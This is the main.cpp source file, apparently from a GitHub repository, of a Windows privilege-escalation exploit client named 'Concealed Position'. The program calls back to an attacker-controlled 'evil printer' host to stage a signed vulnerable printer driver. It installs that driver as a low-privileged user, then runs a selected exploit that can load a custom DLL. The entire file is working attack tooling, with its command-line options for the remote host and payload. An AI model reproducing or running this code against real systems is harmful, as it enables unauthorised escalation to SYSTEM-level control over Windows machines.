-
Notifications
You must be signed in to change notification settings - Fork 44
/
main.cpp
220 lines (195 loc) · 8.21 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#include <stdlib.h>
#include <Windows.h>
#include <iostream>
#include <thread>
#include <chrono>
#include <set>
#include "popl.hpp"
#include "exploitfactory.h"
namespace
{
const ExploitFactory s_exploits;
const std::string catch_me("WVqtcQKfeIUxunX1jAadGwMiir5LacjHwN8tVl1Pr7AiwJnZCsik2TxHLZgGhErb");
/*
* Tries to install the provided driver from the driver store. InstallPrinterDriverFromPackage
* allows a low privileged user to install the driver as long as it's present in the store.
*
* \param[in] p_driver the name of the driver to install
* \return true on success. false otherwise.
*/
bool installDriverFromStore(const std::string& p_driver)
{
std::wstring wDriver(p_driver.begin(), p_driver.end());
HRESULT hr = InstallPrinterDriverFromPackage(NULL, NULL, wDriver.c_str(), NULL, 0);
if (FAILED(hr))
{
std::cout << "[-] Driver is not available." << std::endl;
return false;
}
std::cout << "[+] Driver installed!" << std::endl;
return true;
}
/*
* Downloads a driver from a remote printer and stages it in the driver store.
* GetPrinterDriver allows a low privileged user to introduce arbitrary drivers
* into the driver store as long as they are signed.
*
* \param[in] p_shared_printer the printer to download the driver from
* \return true on success. false otherwise.
*/
bool downloadDriver(const std::string& p_shared_printer)
{
bool return_value = false;
std::wstring wPrinter(p_shared_printer.begin(), p_shared_printer.end());
HANDLE hPrinter = NULL;
PRINTER_DEFAULTS defaults = {};
defaults.DesiredAccess = READ_CONTROL;
std::cout << "[+] Call back to evil printer @ " << p_shared_printer << std::endl;
if (OpenPrinter((LPWSTR)wPrinter.c_str(), &hPrinter, &defaults) == false)
{
std::cerr << "[-] Couldn't connect to the remote printer: " << GetLastError() << std::endl;
return return_value;
}
BYTE data[1024] = { 0 };
DWORD needed = 0;
std::cout << "[+] Staging driver in driver store" << std::endl;
if (GetPrinterDriver(hPrinter, NULL, 1, &data[0], 1024, &needed) == 0)
{
if (GetLastError() == ERROR_UNKNOWN_PRINTER_DRIVER)
{
std::cout << "[+] Driver staged!" << std::endl;
return_value = true;
}
else if (GetLastError() == ERROR_PRINTER_DRIVER_ALREADY_INSTALLED)
{
std::cout << "[?] Driver is already staged?" << std::endl;
return_value = true;
}
else
{
std::cout << "[-] Failed to stage the driver: " << GetLastError() << std::endl;
}
}
else
{
return_value = true;
}
ClosePrinter(hPrinter);
return return_value;
}
bool parseCLI(int p_argc, const char* p_argv[], std::string& p_shared_printer, std::shared_ptr<Exploit>& p_exploit_ptr)
{
popl::OptionParser op("CLI options");
auto help = op.add<popl::Switch>("h", "help", "Display the help message");
auto evil_address = op.add<popl::Value<std::string>>("r", "rhost", "The remote evil printer address");
auto evil_printer = op.add<popl::Value<std::string>>("n", "name", "The remote evil printer name");
auto exploit = op.add<popl::Value<std::string>>("e", "exploit", "The exploit to use");
auto local_only = op.add<popl::Switch>("l", "local", "No remote printer. Local attack only.");
auto custom_dll = op.add<popl::Value<std::string>>("d", "dll", "Path to user provided DLL to execute.");
op.parse(p_argc, p_argv);
if (p_argc < 3 || help->is_set())
{
std::cout << op << std::endl;
std::cout << "Exploits available:" << std::endl;
const std::set<std::string>& exploits = s_exploits.getExploits();
for (std::set<std::string>::iterator it = exploits.begin(); it != exploits.end(); ++it)
{
std::cout << "\t" << *it << std::endl;
}
return false;
}
if (!exploit->is_set())
{
std::cerr << "[-] Must provide an exploit." << std::endl;
return false;
}
else
{
if (!s_exploits.availableExploit(exploit->value(0)))
{
std::cout << "[!] User provided exploit is invalid" << std::endl;
return false;
}
p_exploit_ptr = s_exploits.createExploit(exploit->value(0));
}
if (custom_dll->is_set())
{
std::cout << "[+] User provided DLL: " << custom_dll->value(0) << std::endl;
p_exploit_ptr->set_dll(custom_dll->value(0));
}
if (local_only->is_set())
{
// try the attack without reaching out to an evil printer
return true;
}
if (!evil_address->is_set())
{
std::cerr << "[-] Must provide an rhost." << std::endl;
return false;
}
else
{
p_shared_printer.assign("\\\\");
p_shared_printer.append(evil_address->value(0));
}
if (!evil_printer->is_set())
{
std::cerr << "[-] Must provide a printer name." << std::endl;
return false;
}
else
{
p_shared_printer.append("\\");
p_shared_printer.append(evil_printer->value(0));
}
return true;
}
}
int main(int p_argc, const char* p_argv[])
{
std::cout << " _______ _______ __ _ _______ _______ _______ ___ _______ ______ " << std::endl;
std::cout << "| || || | | || || || _ || | | || | " << std::endl;
std::cout << "| || _ || |_| || || ___|| |_| || | | ___|| _ |" << std::endl;
std::cout << "| || | | || || || |___ | || | | |___ | | | |" << std::endl;
std::cout << "| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |" << std::endl;
std::cout << "| |_ | || | | || |_ | |___ | _ || || |___ | |" << std::endl;
std::cout << "|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| " << std::endl;
std::cout << " _______ _______ _______ ___ _______ ___ _______ __ _ " << std::endl;
std::cout << "| || || || | | || | | || | | | " << std::endl;
std::cout << "| _ || _ || _____|| | |_ _|| | | _ || |_| | " << std::endl;
std::cout << "| |_| || | | || |_____ | | | | | | | | | || | " << std::endl;
std::cout << "| ___|| |_| ||_____ || | | | | | | |_| || _ | " << std::endl;
std::cout << "| | | | _____| || | | | | | | || | | | " << std::endl;
std::cout << "|___| |_______||_______||___| |___| |___| |_______||_| |__| client! " << std::endl;
std::cout << std::endl;
std::string shared_printer;
std::shared_ptr<Exploit> exploit_ptr;
if (!parseCLI(p_argc, p_argv, shared_printer, exploit_ptr))
{
return EXIT_FAILURE;
}
// Attempt to install the driver. If it already exists we don't need the connect back silliness.
std::cout << "[+] Checking if driver is already installed" << std::endl;
if (installDriverFromStore(exploit_ptr->get_driver_name()) == false)
{
if (shared_printer.empty())
{
std::cout << "[!] Exiting" << std::endl;
return EXIT_FAILURE;
}
if (!downloadDriver(shared_printer))
{
return EXIT_FAILURE;
}
std::cout << "[+] Installing the staged driver" << std::endl;
if (!installDriverFromStore(exploit_ptr->get_driver_name()))
{
return EXIT_FAILURE;
}
}
if (!exploit_ptr->do_exploit())
{
std::cout << "[-] Exploit failed!" << std::endl;
}
return EXIT_SUCCESS;
}